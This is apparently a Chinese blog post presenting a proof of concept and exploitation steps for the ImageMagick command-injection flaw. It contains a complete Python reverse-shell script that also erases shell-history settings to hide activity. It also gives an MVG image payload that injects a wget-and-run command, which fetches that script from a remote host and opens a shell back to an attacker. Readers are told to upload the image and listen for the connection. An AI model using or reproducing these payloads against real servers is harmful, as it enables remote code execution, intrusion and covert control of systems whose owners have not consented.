正在阅读:

ImageMagick POC及利用方法

8,219

之前本站发布了imagemagic的 安全预警,里面只有imagemagick的检测代码,没有详细的利用方式,现在附一个简单的poc给大家测试。

1、关于如何查找服务器是否支持imagemagic的问题。

直接查看服务器是否存在phpinfo文件,查看是否支持imagemagick组件。

直接上传图片,然后在远程服务器监听相应的端口,反弹连接即可。

imagemagick

下面是poc,代码自己看。

# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
    print 'python reverse connector'
    print 'usage: %s <ip_addr> <port>' % name

def main():
    if len(sys.argv) !=3:
        usage(sys.argv[0])
        sys.exit()
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((sys.argv[1],int(sys.argv[2])))
        print 'connect ok'
    except:
        print 'connect faild'
        sys.exit()
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    os.unsetenv("HISTSIZE")
    os.unsetenv("HISTORY")
    os.unsetenv("HISTSAVE")
    os.unsetenv("HISTZONE")
    os.unsetenv("HISTLOG")
    os.unsetenv("HISTCMD")
    os.putenv("HISTFILE",'/dev/null')
    os.putenv("HISTSIZE",'0')
    os.putenv("HISTFILESIZE",'0')
    pty.spawn(shell)
    s.close()

if __name__ == '__main__':
    main()

这是监听的脚本传到你网站的根目录,比如http://www.baidu.com/x.py

然后POC

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|wget http://xxxxxx/x.py -O /tmp/x.py && python /tmp/x.py xxxxxxxx 12315")'
pop graphic-context

里面的监听的ip及端口,你自己修改。。

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌